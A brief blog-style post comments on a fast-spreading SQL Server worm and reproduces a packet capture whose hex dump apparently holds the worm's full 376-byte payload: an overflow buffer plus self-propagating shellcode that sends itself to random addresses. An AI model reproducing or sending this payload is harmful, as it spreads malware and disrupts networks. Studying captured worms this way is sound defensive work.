It’s amazing that 376 bytes can do some serious damage to the Internet.

This SQL worm that is running around is pretty simple. Overflow. Send. Repeat.

http://www.boredom.org/~cstone/worm-annotated.txt

13:19:05.663164 168.156.112.158.3151 > h24-85-10-25.wp.shawcable.net.ms-sql-m: udp 376
4500 0194 76f7 0000 7811 8eb9 a89c 709e
1855 0a19 0c4f 059a 0180 ed53 0401 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 0101 0101
0101 0101 0101 0101 0101 0101 01dc c9b0
42eb 0e01 0101 0101 0101 70ae 4201 70ae
4290 9090 9090 9090 9068 dcc9 b042 b801
0101 0131 c9b1 1850 e2fd 3501 0101 0550
89e5 5168 2e64 6c6c 6865 6c33 3268 6b65
726e 5168 6f75 6e74 6869 636b 4368 4765
7454 66b9 6c6c 5168 3332 2e64 6877 7332
5f66 b965 7451 6873 6f63 6b66 b974 6f51
6873 656e 64be 1810 ae42 8d45 d450 ff16
508d 45e0 508d 45f0 50ff 1650 be10 10ae
428b 1e8b 033d 558b ec51 7405 be1c 10ae
42ff 16ff d031 c951 5150 81f1 0301 049b
81f1 0101 0101 518d 45cc 508b 45c0 50ff
166a 116a 026a 02ff d050 8d45 c450 8b45
c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45
b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829
c28d 0490 01d8 8945 b46a 108d 45b0 5031
c951 6681 f178 0151 8d45 0350 8b45 ac50
ffd6 ebca